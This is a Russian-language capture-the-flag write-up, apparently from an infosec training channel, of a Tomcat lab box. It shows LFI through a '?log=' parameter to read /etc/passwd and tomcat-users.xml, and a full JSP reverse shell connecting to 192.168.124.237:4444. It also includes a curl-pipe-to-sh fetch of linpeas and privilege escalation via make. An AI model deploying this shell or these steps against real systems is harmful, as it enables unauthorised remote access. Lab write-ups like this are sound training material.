obuchenie_post
November 13

День 19. Таск "Том"

Таск: Этот кот полностью здоров, кстати.

Уже подсказка - что рыть надо в сторону TomCat

1)Разведка

-NMAP-

22 и 8080, 8888, 65535

-DIRSEARCH-

Тут находим страницу менеджера

Красиво

Проверяем страничку - перекидывает сразу на log=, а от сюда уже можно LFI смотреть

http://192.168.2.216:65535/?log=catalina.out

etc/pass - читаемо

2)http://192.168.2.216:65535/?log=../../../../../../etc/passwd

посмотрим юзеров и паролей - находим менеджера ( админ)

http://192.168.2.216:65535/?log=../../../../../../opt/apache-tomcat-9.0.106/conf/tomcat-users.xml

Авторизуемся как админ

Заливаем revers shell

cat > revshell.jsp << 'EOF' <%@ page import="java.lang.*, java.util.*, java.io.*, java.net.*" %> <% class StreamConnector extends Thread { InputStream ig; OutputStream og; StreamConnector(InputStream ig, OutputStream og) { this.ig = ig; this.og = og; } public void run() { BufferedReader in = null; BufferedWriter out = null; try { in = new BufferedReader(new InputStreamReader(this.ig)); out = new BufferedWriter(new OutputStreamWriter(this.og)); char buffer[] = new char[8192]; int length; while ((length = in.read(buffer, 0, buffer.length)) > 0) { out.write(buffer, 0, length); out.flush(); } } catch(Exception e) {} try { if (in != null) in.close(); if (out != null) out.close(); } catch(Exception e) {} } }

try { String ShellPath = "/bin/bash"; if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) { ShellPath = "/bin/sh"; } Socket socket = new Socket("192.168.124.237", 4444); Process process = Runtime.getRuntime().exec(ShellPath); (new StreamConnector(process.getInputStream(), socket.getOutputStream())).start(); (new StreamConnector(process.getErrorStream(), socket.getOutputStream())).start(); (new StreamConnector(socket.getInputStream(), process.getOutputStream())).start(); } catch(Exception e) {} %> EOF

получаем доступ к серваку ну и пробуем linpeas
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh

Узнаем что make использовать можем из под рута)

Читаем флаг)

Основная группа обучения ИБ
Lab-группу с полезным софтом / книгами / аудио.
Чат для обсуждений, задавай свои вопросы.
P.S. С вами был @Fnay_Offensive
До новой встречи, user_name!